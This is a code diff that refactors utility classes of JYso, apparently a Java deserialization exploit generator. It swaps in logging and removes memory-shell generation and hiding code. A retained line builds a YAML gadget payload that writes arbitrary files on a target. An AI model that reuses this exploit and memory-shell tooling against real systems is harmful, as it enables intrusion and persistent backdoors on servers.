-import org.apache.commons.lang.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 
 import java.io.*;
 import java.lang.reflect.Field;
@@ -15,8 +16,6 @@ import java.util.Random;
 import java.util.zip.Deflater;
 import java.util.zip.GZIPOutputStream;
 
-import com.sun.rowset.JdbcRowSetImpl;
-
 import java.io.InputStream;
 import java.lang.reflect.*;
 import java.util.*;
@@ -27,7 +26,10 @@ import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertMethod
 import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
 import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes;
 
+@SuppressWarnings({"unused"})
 public class Utils {
+    private static final Logger log = LoggerFactory.getLogger(Utils.class);
+
     public static Map<String, Object> createMap(final String key, final Object val) {
         final Map<String, Object> map = new HashMap<>();
         map.put(key, val);
@@ -86,7 +88,7 @@ public class Utils {
         return new String[]{par1, par2};
     }
 
-    public static String base64Decode(String bs) throws Exception {
+    public static String base64Decode(String bs) {
         Class<?> base64;
         byte[] value = null;
         try {
@@ -112,15 +114,6 @@ public class Utils {
         // 总体在进行类字节码的缩短
         shrinkBytes(ctClass);
         byte[] classBytes = ctClass.toBytecode();
-
-        // 保存内存马文件
-        if (GEN_MEM_SHELL) {
-            if (StringUtils.isNotEmpty(GEN_MEM_SHELL_FILENAME)) {
-                writeClassToFile(GEN_MEM_SHELL_FILENAME, classBytes);
-            } else {
-                writeClassToFile(ctClass.getName(), classBytes);
-            }
-        }
     }
 
     public static void loadClassTest(byte[] classBytes, String className) throws Exception {
@@ -323,7 +316,7 @@ public class Utils {
             in.read(FileContent);
             in.close();
         } catch (FileNotFoundException e) {
-            e.printStackTrace();
+            log.error("e: ", e);
         }
         byte[] compressBytes = compress(FileContent);
         return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater  { input: !!binary " + Utils.base64Encode(compressBytes) + " },1048576]]";
@@ -337,7 +330,7 @@ public class Utils {
         compresser.reset();
         compresser.setInput(data);
         compresser.finish();
-        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
+        try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length)) {
             try {
                 byte[] buf = new byte[1024];
                 while (!compresser.finished()) {
@@ -347,13 +340,10 @@ public class Utils {
                 output = bos.toByteArray();
             } catch (Exception e) {
                 output = data;
-            e.printStackTrace();
+                log.error("e: ", e);
-        } finally {
-            try {
-                bos.close();
-            } catch (IOException e) {
-                e.printStackTrace();
             }
+        } catch (IOException e) {
+            log.error("e: ", e);
         }
         compresser.end();
         return output;

src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java

@@ -6,14 +6,6 @@ import com.qi4l.JYso.gadgets.utils.Utils;
 import javassist.CtClass;
 import javassist.CtMethod;
 import javassist.NotFoundException;
-import org.apache.commons.lang.StringUtils;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.converString;
-import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField;
 
 public class ClassMethodHandler {
     /**

src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java

@@ -107,12 +107,6 @@ public class ClassNameHandler {
         }
     }
 
-    public static String getHumanName(String className, String suffix) {
-        className = className.substring(className.lastIndexOf('.') + 1);
-        className = Character.toLowerCase(className.charAt(0)) + className.substring(1);
-        return className + suffix;
-    }
-
 
     public static String searchClassByName(String name) {
         Set<String> set = getClassSet("com.qi4l.JYso.template.");

src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java

@@ -4,7 +4,6 @@ import com.qi4l.JYso.gadgets.Config.Config;
 import com.qi4l.JYso.gadgets.utils.Utils;
 import javassist.CtClass;
 import javassist.bytecode.*;
-import org.apache.commons.codec.binary.Base64;
 
 import java.nio.file.Files;
 import java.nio.file.Paths;
@@ -39,44 +38,6 @@ public class GlassHandler {
         return null;
     }
 
-    public static CtClass generateClass(Class<?> clazz, String shellType, String newClassName) throws Exception {
-
-        CtClass ctClass;
-        byte[] byteCodes;
-
-        String exClassName = clazz.getName();
-        ctClass = Config.POOL.get(exClassName);
-
-        // 为 DefineClassFromParameter 添加自定义函数功能
-        ClassFieldHandler.insertFieldIfExists(ctClass, "parameter", "public static String parameter = " + ClassFieldHandler.converString(Config.PARAMETER) + ";");
-
-        // 为类设置新的类名
-        ctClass.setName(newClassName);
-
-        shrinkBytes(ctClass);
-        byteCodes = ctClass.toBytecode();
-
-        if (Config.HIDE_MEMORY_SHELL) {
-            switch (Config.HIDE_MEMORY_SHELL_TYPE) {
-                case 1:
-                    break;
-                case 2:
-                    CtClass newClass = Config.POOL.get("com.qi4l.JYso.template.HideMemShellTemplate");
-                    newClass.setName(ClassNameHandler.generateClassName());
-                    String content = "b64=\"" + Base64.encodeBase64String(byteCodes) + "\";";
-                    String cName = "className=\"" + ctClass.getName() + "\";";
-                    newClass.defrost();
-                    newClass.makeClassInitializer().insertBefore(content);
-                    newClass.makeClassInitializer().insertBefore(cName);
-
-                    ctClass = newClass;
-                    break;
-            }
-        }
-
-        return ctClass;
-    }
-
 
     // 统一处理，删除一些不影响使用的 Attribute 降低类字节码的大小
     public static void shrinkBytes(CtClass ctClass) {